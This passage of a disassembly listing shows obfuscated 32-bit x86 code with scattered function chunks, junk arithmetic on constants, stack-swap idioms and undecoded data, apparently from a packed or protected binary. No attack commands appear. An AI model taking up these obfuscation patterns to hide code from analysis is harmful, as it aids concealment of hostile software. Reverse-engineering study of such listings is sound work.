eax pop ebx jmp loc_1002770A sub_10028A3B endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- loc_10028A49: ; CODE XREF: _3a14gzkz:loc_1002760Dj xchg edx, [esp] mov ecx, edx xchg eax, [esp] mov edx, eax pop eax jmp near ptr dword_10026F24+0Bh ; --------------------------------------------------------------------------- align 2 ; START OF FUNCTION CHUNK FOR sub_1002812C loc_10028A5A: ; CODE XREF: _3a14gzkz:10027B17j ; sub_1002812C:loc_10029225j jb loc_100287D4 jmp loc_10028126 ; END OF FUNCTION CHUNK FOR sub_1002812C ; --------------------------------------------------------------------------- align 2 ; =============== S U B R O U T I N E ======================================= sub_10028A66 proc near ; CODE XREF: sub_1002883B+B22p arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 10027347 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 10028B93 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10029151 SIZE 00000005 BYTES xchg edi, [esp+0] pop edi pop eax mov [edi], eax xchg ebp, [esp-8+arg_4] jmp loc_10028B93 sub_10028A66 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10028A75 proc near ; DATA XREF: sub_10029789-C03o mov ebp, esp push offset loc_10026D90 jmp nullsub_181 sub_10028A75 endp ; --------------------------------------------------------------------------- align 2 dw 8E0Fh dd 11Eh, 5A241487h, 0FFE389E8h ; --------------------------------------------------------------------------- inc dword ptr [eax] ; START OF FUNCTION CHUNK FOR sub_10028DD4 loc_10028A92: ; CODE XREF: sub_10028DD4-D51j jmp loc_100278EA ; END OF FUNCTION CHUNK FOR sub_10028DD4 ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_10028CB7 loc_10028A98: ; CODE XREF: sub_10028CB7+10j xchg esi, [esp+0] mov ebx, esi pop esi push esi pushf push 782EB398h pop esi jmp loc_100291A2 ; END OF FUNCTION CHUNK FOR sub_10028CB7 ; --------------------------------------------------------------------------- align 4 dd 12C28100h, 0E4A924AFh, 47E92414h, 0E8FFFFEAh, 0C1Bh dd 0FFF8B8E8h db 0FFh ; =============== S U B R O U T I N E ======================================= sub_10028AC5 proc near ; CODE XREF: sub_1002883B:loc_10028F8Fp ; FUNCTION CHUNK AT 10026FD0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10027A8C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1002805C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10028089 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 10028341 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 100295C5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10029717 SIZE 0000000A BYTES xchg edx, [esp+0] pop edx mov edx, [eax] or edx, edx jz loc_10028089 push offset loc_10028789 jmp loc_100295C5 sub_10028AC5 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_10028ADD: ; CODE XREF: _3a14gzkz:loc_10029378j call sub_1002964F ; --------------------------------------------------------------------------- dw 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10027810 loc_10028AE4: ; CODE XREF: sub_10027810+1D3j jmp loc_10029843 ; END OF FUNCTION CHUNK FOR sub_10027810 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002707B loc_10028AEB: ; CODE XREF: sub_1002707B+30Ej mov ecx, offset loc_10027C30 jmp loc_10028D2B ; END OF FUNCTION CHUNK FOR sub_1002707B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100274A4 loc_10028AF5: ; CODE XREF: sub_100274A4+121Ej cmp ecx, 6A1F788Ch jmp loc_100274E4 ; END OF FUNCTION CHUNK FOR sub_100274A4 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_10028B02: ; CODE XREF: _3a14gzkz:100274FCj jz loc_100275F1 jmp near ptr dword_100272CC+0Dh ; --------------------------------------------------------------------------- align 2 word_10028B0E dw 1C7Eh ; DATA XREF: sub_100275B2:loc_1002903Fo dd 0ED90E824h db 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002707B loc_10028B16: ; CODE XREF: sub_1002707B:loc_10028B59j rol edi, 1Dh sub edi, 7DF1E0CFh call loc_10027474 add [edi], cl mov [esi+57FFFFF4h], dl mov edi, eax xchg edi, [esp-0Ch+arg_8] mov eax, ebp jmp loc_10026DE1 ; --------------------------------------------------------------------------- loc_10028B38: ; CODE XREF: sub_1002707B+1C7j push 10027062h jmp loc_10028975 ; END OF FUNCTION CHUNK FOR sub_1002707B ; --------------------------------------------------------------------------- align 4 dword_10028B44 dd 8AFC458Bh, 0E543E800h ; DATA XREF: sub_1002707B:loc_1002937Do db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_10028B4E: ; CODE XREF: _3a14gzkz:loc_10028172j push 3D674187h push ecx call sub_100275B2 ; START OF FUNCTION CHUNK FOR sub_1002707B loc_10028B59: ; CODE XREF: sub_1002707B+9Dj jmp loc_10028B16 ; END OF FUNCTION CHUNK FOR sub_1002707B ; --------------------------------------------------------------------------- align 10h locret_10028B60: ; CODE XREF: _3a14gzkz:100294E9j retn ; --------------------------------------------------------------------------- db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_10028B63 proc near ; DATA XREF: _3a14gzkz:100294E4o ; FUNCTION CHUNK AT 10027BA8 SIZE 00000005 BYTES push ebx push 900DCB8Ah pop ebx loc_10028B6A: ; CODE XREF: _3a14gzkz:10027DECj rol ebx, 0Ah or ebx, 0B2E8911Dh rol ebx, 1Ch add ebx, 3483A85Ah jmp loc_10027BA8 sub_10028B63 endp ; --------------------------------------------------------------------------- align 2 ; START OF FUNCTION CHUNK FOR sub_10029789 loc_10028B82: ; CODE XREF: sub_10029789:loc_1002706Fj pop ebp xchg eax, [esp-4+arg_0] push offset sub_10028A75 jmp nullsub_193 ; END OF FUNCTION CHUNK FOR sub_10029789 ; --------------------------------------------------------------------------- db 0, 0C3h, 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10028A66 loc_10028B93: ; CODE XREF: sub_10028A66+Aj jmp loc_10027347 ; END OF FUNCTION CHUNK FOR sub_10028A66 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002781D loc_10028B99: ; CODE XREF: sub_1002781D+10j jmp loc_10026E77 ; END OF FUNCTION CHUNK FOR sub_1002781D ; --------------------------------------------------------------------------- align 10h dd 878B06C6h, 0F58B242Ch, 0FEDAE85Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100284AA loc_10028BAE: ; CODE XREF: sub_100284AA+Fj jmp loc_10028F30 ; END OF FUNCTION CHUNK FOR sub_100284AA ; --------------------------------------------------------------------------- db 0C6h dd 685A3102h, 0A2E2EF56h, 0D1CE815Eh, 0E96CEB35h, 0FFFFE590h dd 0E5810000h, 3C547221h ; =============== S U B R O U T I N E ======================================= sub_10028BD0 proc near ; CODE XREF: sub_1002707B+1487p ; FUNCTION CHUNK AT 1002780B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10028165 SIZE 0000000C BYTES xchg edx, [esp+0] pop edx push ebx mov ebx, offset byte_10026F05 jmp loc_1002780B sub_10028BD0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_10028BDF proc near ; DATA XREF: _3a14gzkz:10027BF8o push 0DA0BD8E7h pop edx and edx, 441921FBh or edx, 3C009938h xor edx, 0B613AB22h add edx, 45E8381Bh push offset dword_10027F58 jmp nullsub_247 sub_10028BDF endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002707B loc_10028C07: ; CODE XREF: sub_1002707B:loc_100277C3j call sub_1002735F locret_10028C0C: ; CODE XREF: sub_1002707B:loc_10027076j retn ; END OF FUNCTION CHUNK FOR sub_1002707B ; --------------------------------------------------------------------------- db 0E9h, 7Fh, 0FFh dd 0FFFFh ; --------------------------------------------------------------------------- loc_10028C14: ; DATA XREF: sub_10027CEA+6Eo push esi mov esi, 10027015h jmp loc_10029603 ; --------------------------------------------------------------------------- align 10h dd 0F4D28F0Fh, 0C9C1FFFFh, 0FE97E91Ch db 2 dup(0FFh), 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100274A4 loc_10028C2F: ; CODE XREF: sub_100274A4:loc_1002801Bj xchg ecx, [esp-8+arg_4] pop ecx mov byte ptr [edx], 0Fh pop edx jmp loc_10027CE3 ; END OF FUNCTION CHUNK FOR sub_100274A4 ; =============== S U B R O U T I N E ======================================= sub_10028C3C proc near ; CODE XREF: sub_1002707B+2080p xchg edi, [esp+0] pop edi push eax daa call sub_100286F4 sub_10028C3C endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_1002707B loc_10028C47: ; CODE XREF: sub_1002707B+16B1j jmp sub_10028DD4 ; END OF FUNCTION CHUNK FOR sub_1002707B ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10028DD4 loc_10028C4D: ; CODE XREF: sub_10028DD4:loc_10027E41j mov byte ptr [ecx], 9Dh xchg eax, [esp+0] mov ecx, eax pop eax and ebx, 59AEB919h call sub_10028E0A loc_10028C61: ; CODE XREF: _3a14gzkz:10026EA6j jmp nullsub_188 ; END OF FUNCTION CHUNK FOR sub_10028DD4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100279AD loc_10028C66: ; CODE XREF: sub_100279AD+1E2j pop esi sub esi, 0AF749AC0h js loc_100296A4 add cl, ch ; CODE XREF: _3a14gzkz:10028CB0j pop esp idiv bh inc dword ptr [eax] loc_10028C7A: ; CODE XREF: _3a14gzkz:loc_100294D5j ja loc_1002742C jmp loc_1002700D ; END OF FUNCTION CHUNK FOR sub_100279AD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10028DD4 loc_10028C85: ; CODE XREF: sub_10028DD4:loc_100293BEj push edx mov edx, ecx xchg edx, [esp+0] push ebx jmp loc_10028450 ; END OF FUNCTION CHUNK FOR sub_10028DD4 ; --------------------------------------------------------------------------- db 81h, 0CBh, 69h dd 817E347Bh, 0C69E35FBh, 0EA6EE973h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_10028CA2: ; CODE XREF: _3a14gzkz:loc_100282D7j add eax, 0C5DF9F8Ah mov eax, [eax] loc_10028CAA: ; DATA XREF: sub_10028DD4-4DCo popf push offset word_100282DE jmp near ptr loc_10028C73+1 ; --------------------------------------------------------------------------- db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_10028CB7 proc far ; CODE XREF: _3a14gzkz:10027EB8j ; FUNCTION CHUNK AT 10028A98 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 100291A2 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 10029364 SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx mov byte ptr [ecx], 3 pop ecx xor ebx, 0D9080296h add eax, ebx jmp loc_10028A98 sub_10028CB7 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 880F0000h, 576h ; --------------------------------------------------------------------------- loc_10028CD4: ; CODE XREF: _3a14gzkz:10027E0Ap xchg ebx, [esp] pop ebx call ds:dword_1001E0C0 ; ExitProcess call near ptr dword_10027014+34h ; --------------------------------------------------------------------------- db 0 db 0 ; --------------------------------------------------------------------------- loc_10028CE5: ; CODE XREF: _3a14gzkz:10027DB3j jmp near ptr dword_100275C0+10h ; --------------------------------------------------------------------------- push esi mov esi, 10026EBAh jmp loc_10026ED8 ; --------------------------------------------------------------------------- loc_10028CF5: ; CODE XREF: _3a14gzkz:10029180j push offset byte_10028665 jmp locret_1002865E ; --------------------------------------------------------------------------- align 10h push ecx push 85E063C3h pop ecx sub ecx, 0C8A49BC8h add ecx, 0F883EDFEh and ecx, 99FE1E0Bh sub ecx, 11E3723h jmp loc_10027354 ; --------------------------------------------------------------------------- loc_10028D24: ; CODE XREF: _3a14gzkz:10026CE8j call sub_10029475 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002707B loc_10028D2B: ; CODE XREF: sub_1002707B+1A75j jmp loc_1002776F ; END OF FUNCTION CHUNK FOR sub_1002707B ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100289FE loc_10028D31: ; CODE XREF: sub_100289FE-837j jmp loc_10027054 ; END OF FUNCTION CHUNK FOR sub_100289FE ; --------------------------------------------------------------------------- dw 0F00h dd 91683h, 0F735E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10028ED3 loc_10028D42: ; CODE XREF: sub_10028ED3-2003j add eax, ebx xchg eax, [esp-4+arg_0] mov ebx, eax pop eax push eax pushf push offset byte_10029585 jmp nullsub_187 ; END OF FUNCTION CHUNK FOR sub_10028ED3 ; --------------------------------------------------------------------------- dw 0F700h ; --------------------------------------------------------------------------- retn 3DB5h ; --------------------------------------------------------------------------- db 0E6h dd 0E59EE943h, 0E999FFFFh, 0FFFFF7F9h, 68F50300h, 100271B8h dd 0FFEBE5E9h db 0FFh, 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10029627 loc_10028D77: ; CODE XREF: sub_10029627:loc_10029538j add esi, 57F50BA8h mov esi, [esi] mov ecx, ds:dword_10027B4C mov edx, 0F1F2F4F8h push offset loc_10029222 jmp locret_10029848 ; END OF FUNCTION CHUNK FOR sub_10029627 ; --------------------------------------------------------------------------- dd 17890000h, 5A241487h, 0EBE95256h, 0FFFFF5h, 0FFE6B8E8h dd 0ECC1F7FFh, 0E9C8C705h, 6BBh, 0C870000h, 59E98B24h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_10028DBF: ; CODE XREF: _3a14gzkz:100287EFj jmp near ptr dword_100275C0+1 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100279AD loc_10028DC6: ; CODE XREF: sub_100279AD-57Bj jmp loc_100283AF ; END OF FUNCTION CHUNK FOR sub_100279AD ; --------------------------------------------------------------------------- align 4 retn ; --------------------------------------------------------------------------- align 2 loc_10028DCE: ; CODE XREF: _3a14gzkz:1002961Ej jmp locret_10029834 ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10028DD4 proc near ; CODE XREF: sub_100273B0+694j ; sub_1002707B:loc_10028C47j ; FUNCTION CHUNK AT 10026CAB SIZE 00000011 BYTES ; FUNCTION CHUNK AT 100278EA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10027C15 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 10027E41 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10028082 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 10028450 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 100288F7 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10028A92 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10028C4D SIZE 00000019 BYTES ; FUNCTION CHUNK AT 10028C85 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 100292F8 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 1002932F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100293BE SIZE 00000005 BYTES push ebp mov ebp, esp jmp loc_100293BE sub_10028DD4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- jge loc_10028E56 loc_10028DE2: ; CODE XREF: _3a14gzkz:10028E66j jmp loc_100280EC ; --------------------------------------------------------------------------- xchg esi, [ecx] jmp loc_1002941B ; --------------------------------------------------------------------------- jmp loc_10028FEF ; --------------------------------------------------------------------------- align 4 xchg esi, [esp] mov ecx, esi pop esi push 10028DB6h jmp loc_1002771B ; --------------------------------------------------------------------------- dd 0F52D8A0Fh db 2 dup(0FFh) ; =============== S U B R O U T I N E ======================================= sub_10028E0A proc near ; CODE XREF: sub_10028DD4-178p ; FUNCTION CHUNK AT 1002887D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1002910B SIZE 0000000A BYTES xchg edi, [esp+0] xchg ebp, [esp+0] mov edi, ebp pop ebp add ebx, 75EF6232h jmp loc_1002910B sub_10028E0A endp ; sp-analysis failed ; --------------------------------------------------------------------------- word_10028E1E dw 6800h ; DATA XREF: _3a14gzkz:10029680o dd 6F4F1C94h, 2790468h, 0FDDFE910h, 8100FFFFh, 7F2D9C1h dd 9CE89DE7h, 0FFFFECh, 0E281E933h, 0F566197Eh, 0FFF307E9h ; --------------------------------------------------------------------------- inc dword ptr [eax] loc_10028E4A: ; CODE XREF: _3a14gzkz:10029424j jnb loc_10027275 or ecx, 0A252D1DEh loc_10028E56: ; CODE XREF: _3a14gzkz:10028DDCj xor esi, 0BEFE5EEFh xchg esi, [esp] loc_10028E5F: ; DATA XREF: _3a14gzkz:100294FAo sub ds:dword_1001E0C0, edx push eax jmp loc_10028DE2 ; --------------------------------------------------------------------------- db 0Fh dd 66A85h, 0EB72E900h, 0FFFFh, 5E0306C6h, 6804C083h, 10028FE9h dd 0FFE142E9h db 0FFh, 2 dup(0) ; --------------------------------------------------------------------------- locret_10028E8B: ; CODE XREF: _3a14gzkz:loc_1002914Bj retn ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002707B loc_10028E8D: ; CODE XREF: sub_1002707B+6EEj jmp loc_10028723 ; END OF FUNCTION CHUNK FOR sub_1002707B ; --------------------------------------------------------------------------- align 4 dd 5F9D07C6h, 0BC18F181h, 5BE8B706h, 0FFFFFFBh, 3558Ch dd 2F8C0F00h, 0E9FFFFF8h, 1Fh db 0 ; =============== S U B R O U T I N E ======================================= sub_10028EB5 proc near ; CODE XREF: _3a14gzkz:10026F75p ; _3a14gzkz:100289D9j ; FUNCTION CHUNK AT 100278D8 SIZE 00000012 BYTES xchg edi, [esp+0] pop edi call nullsub_229 push 1D447EEBh pop eax xor eax, 6F228EF7h rol eax, 19h jmp loc_100278D8 sub_10028EB5 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0 ; =============== S U B R O U T I N E ======================================= sub_10028ED3 proc near ; CODE XREF: sub_1002883B-12A4p var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 10026EC4 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 10027845 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 10028189 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 10028D42 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 10029187 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 10029320 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100293B7 SIZE 00000005 BYTES xchg eax, [esp+4+var_4] pop eax or edx, edx jz loc_10028089 jmp loc_100293B7 sub_10028ED3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 0A6E88100h, 0E936D842h, 0FFFFE079h ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_240. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10027AC8 loc_10028EF1: ; CODE XREF: sub_10027AC8+7j jmp near ptr loc_10027483+1 ; END OF FUNCTION CHUNK FOR sub_10027AC8 ; --------------------------------------------------------------------------- align 4 or edi, eax ; =============== S U B R O U T I N E ======================================= sub_10028EFA proc near ; CODE XREF: sub_1002883B-20Ap ; FUNCTION CHUNK AT 100285E1 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 100293FD SIZE 00000005 BYTES xchg eax, [esp+0] pop eax mov edx, [eax] jmp loc_100293FD sub_10028EFA endp ; sp-analysis failed ; --------------------------------------------------------------------------- adc esi, 6152EA74h jmp loc_10029282 ; --------------------------------------------------------------------------- dword_10028F10 dd 56243C87h, 290CBBEh, 0F282E910h, 0FFFFh, 0DF308E0Fh ; DATA XREF: _3a14gzkz:1002878Co dd 12BDFFFFh, 0E9AFE77Fh, 569h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100284AA loc_10028F30: ; CODE XREF: sub_100284AA:loc_10028BAEj push offset byte_10029341 jmp nullsub_248 ; END OF FUNCTION CHUNK FOR sub_100284AA ; --------------------------------------------------------------------------- loc_10028F3A: ; CODE XREF: _3a14gzkz:10029446j or ecx, edx xor ebx, 0BCFE3F1Bh loc_10028F42: ; CODE XREF: _3a14gzkz:10029437j rol eax, 1Eh push edi mov edi, 10028119h jmp loc_10028036 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_10028F51: ; CODE XREF: _3a14gzkz:10027EADj mov byte ptr [edi], 0FCh xchg ebx, [esp] mov edi, ebx pop ebx push edx mov edx, eax xchg edx, [esp] mov eax, esi jmp loc_10027E3A ; --------------------------------------------------------------------------- align 4 dd 95E99D00h db 0F9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_10028F6F: ; CODE XREF: _3a14gzkz:10027AB2j pop ecx and ecx, 52FFDCB7h xor ecx, 0E291D931h rol ecx, 13h xor ecx, 8817D6D8h add eax, ecx jmp loc_10027D21 ; --------------------------------------------------------------------------- db 2 dup(0) byte_10028F8E db 0A2h ; CODE XREF: sub_1002707B:loc_10027221j ; sub_100288C7+Dj ; DATA XREF: ... ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002883B loc_10028F8F: ; CODE XREF: sub_1002883B:loc_1002862Bj ; sub_1002883B+Aj call sub_10028AC5 add [edi+505F243Ch], al push 1E2CC1h pop eax rol eax, 18h or eax, 0C612730Dh xor eax, 0A6ED6E9Ah jmp loc_1002935B ; END OF FUNCTION CHUNK FOR sub_1002883B ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- locret_10028FB6: ; CODE XREF: _3a14gzkz:100286B1j retn ; --------------------------------------------------------------------------- align 4 dword_10028FB8 dd 5B8B03C6h, 0FFF533E8h, 0C7C100FFh, 0AF685616h, 5EA89E99h ; DATA XREF: _3a14gzkz:loc_100286ACo dd 0D261C681h, 0E68174BAh, 51972E97h, 0E906C6C1h, 2D8h dd 0E9078900h, 0FFFFEF0Ch, 0DF685200h db 0ACh, 0C2h, 89h ; --------------------------------------------------------------------------- loc_10028FEF: ; CODE XREF: _3a14gzkz:10028DEEj pop edx and edx, 96090E56h or edx, 339373B0h add edx, 5C6EFC27h xchg edx, [esp] jmp loc_10027FA2 ; --------------------------------------------------------------------------- db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_226. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jmp locret_10027138 ; --------------------------------------------------------------------------- align 2 xchg ebx, [esp] pop ebx add eax, 0B7FFFB6Fh xchg eax, [esp] enter 0FFFFC015h, 0E0h add [eax], edx jmp loc_10028948 ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_1002735F loc_1002902C: ; CODE XREF: sub_1002735F:loc_10027BADj push offset loc_10026FA8 jmp loc_10027CCC ; END OF FUNCTION CHUNK FOR sub_1002735F ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- loc_10029039: ; CODE XREF: _3a14gzkz:100285DCj jmp loc_100292DF ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100275B2 loc_1002903F: ; CODE XREF: sub_100275B2+202Fj mov ecx, offset word_10028B0E jmp loc_10028601 ; END OF FUNCTION CHUNK FOR sub_100275B2 ; --------------------------------------------------------------------------- db 0Fh, 8Ah, 0B4h dd 0FFFFFDCh, 0FFE6EB83h db 0FFh ; --------------------------------------------------------------------------- loc_10029055: ; CODE XREF: _3a14gzkz:loc_100289DFp call sub_10029299 add [eax-6Bh], ch jnp short loc_10029061 adc cl, ch loc_10029061: ; CODE XREF: _3a14gzkz:1002905Dj sar edi, 1 ; --------------------------------------------------------------------------- db 0FFh ; --------------------------------------------------------------------------- inc dword ptr [eax] loc_10029066: ; CODE XREF: _3a14gzkz:10028599j call sub_100276FC ; --------------------------------------------------------------------------- db 0 db 0 ; --------------------------------------------------------------------------- loc_1002906D: ; CODE XREF: _3a14gzkz:10027520j jmp loc_10027C93 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002735F loc_10029073: ; CODE XREF: sub_1002735F:loc_100285B9j jmp loc_10027BAD ; --------------------------------------------------------------------------- loc_10029078: ; CODE XREF: sub_1002735F+8j mov eax, [eax] call sub_100274A4 loc_1002907F: ; CODE XREF: _3a14gzkz:1002967Aj jmp loc_100296DB ; END OF FUNCTION CHUNK FOR sub_1002735F ; --------------------------------------------------------------------------- loc_10029084: ; CODE XREF: _3a14gzkz:10029469j jz loc_100292A8 push ecx mov ecx, ebx xchg ecx, [esp] jmp loc_10028172 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100274A4 loc_10029097: ; CODE XREF: sub_100274A4+45Aj mov [ecx], edi push offset loc_10028071 jmp loc_10028092 ; END OF FUNCTION CHUNK FOR sub_100274A4 ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_100275B2 loc_100290A4: ; CODE XREF: sub_100275B2+9j pop ecx add ecx, 0BDC70A0Dh loc_100290AB: ; CODE XREF: _3a14gzkz:100275ACj sub ecx, 4DD1FC94h rol ecx, 1Dh add ecx, 0B61CED4Fh jmp loc_10028057 ; END OF FUNCTION CHUNK FOR sub_100275B2 ; --------------------------------------------------------------------------- db 8Bh dd 0C6C15BF3h, 8BC68115h, 367CD99h, 0CFE95EC6h, 0FFFFEAh dd 9CF58100h, 0E986E99Ah, 0FFFFE38Eh, 0C6810000h, 0C8C60EF5h dd 0FFE9E9E9h db 0FFh, 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002707B loc_100290EF: ; CODE XREF: sub_1002707B+272Aj jbe loc_1002860D loc_100290F5: ; CODE XREF: sub_1002707B:loc_10027F8Aj xor eax, 214D9B0h call sub_10028C3C add cl, ch ; CODE XREF: sub_10029499+9j cmpsd stc ; END OF FUNCTION CHUNK FOR sub_1002707B ; --------------------------------------------------------------------------- dd 0B5E9FFFFh db 0E2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10028E0A loc_1002910B: ; CODE XREF: sub_10028E0A+Fj push offset loc_100272BD jmp loc_1002887D ; END OF FUNCTION CHUNK FOR sub_10028E0A ; --------------------------------------------------------------------------- align 2 locret_10029116: ; CODE XREF: _3a14gzkz:loc_10029811j retn ; --------------------------------------------------------------------------- align 4 dword_10029118 dd 34FBC381h, 4E8A6AFh, 0FFFFFE2h, 0FFEF8780h, 0F0CC68FFh ; DATA XREF: sub_1002707B-281o dd 9E988C8h db 0FBh, 2 dup(0FFh) byte_10029133 db 68h ; DATA XREF: sub_100284E2+8o dd 6DCF8560h, 13C7C15Fh, 0D93C781h, 0B8E9769Ch, 0FFFFDDh db 0, 0C3h, 0 ; --------------------------------------------------------------------------- loc_1002914B: ; CODE XREF: _3a14gzkz:100273C5j jmp locret_10028E8B ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10028A66 loc_10029151: ; CODE XREF: sub_10028A66-1717j jmp nullsub_185 ; END OF FUNCTION CHUNK FOR sub_10028A66 ; --------------------------------------------------------------------------- db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_189. PRESS KEYPAD "+" TO EXPAND] db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002707B loc_1002915A: ; CODE XREF: sub_1002707B+186j jmp loc_1002937D ; END OF FUNCTION CHUNK FOR sub_1002707B ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_10029160 proc near ; DATA XREF: sub_10028DD4-2122o push ebx mov ebx, offset byte_10028F8E jmp loc_1002710E sub_10029160 endp ; --------------------------------------------------------------------------- rol eax, 10h add eax, 137A8511h or eax, 4DB23ABDh add eax, 92481522h jmp loc_10028CF5 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10028ED3 loc_10029187: ; CODE XREF: sub_10028ED3+453j or ecx, ebp jmp loc_10027845 ; END OF FUNCTION CHUNK FOR sub_10028ED3 ; --------------------------------------------------------------------------- db 0 ; =============== S U B R O U T I N E ======================================= sub_1002918F proc near ; CODE XREF: _3a14gzkz:10028421p ; _3a14gzkz:10029727j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 10028942 SIZE 00000005 BYTES xchg esi, [esp+0] pop esi xchg esi, [esp-4+arg_0] mov ecx, esi xchg edx, [esp-4+arg_0] xor esi, ebx jmp loc_10028942 sub_1002918F endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10028CB7 loc_100291A2: ; CODE XREF: sub_10028CB7-211j xor esi, 9F73EB06h add esi, 93AC3686h xor esi, 0DF7D823Ah or esi, 459E6D03h push 10026D32h jmp loc_10029364 ; END OF FUNCTION CHUNK FOR sub_10028CB7 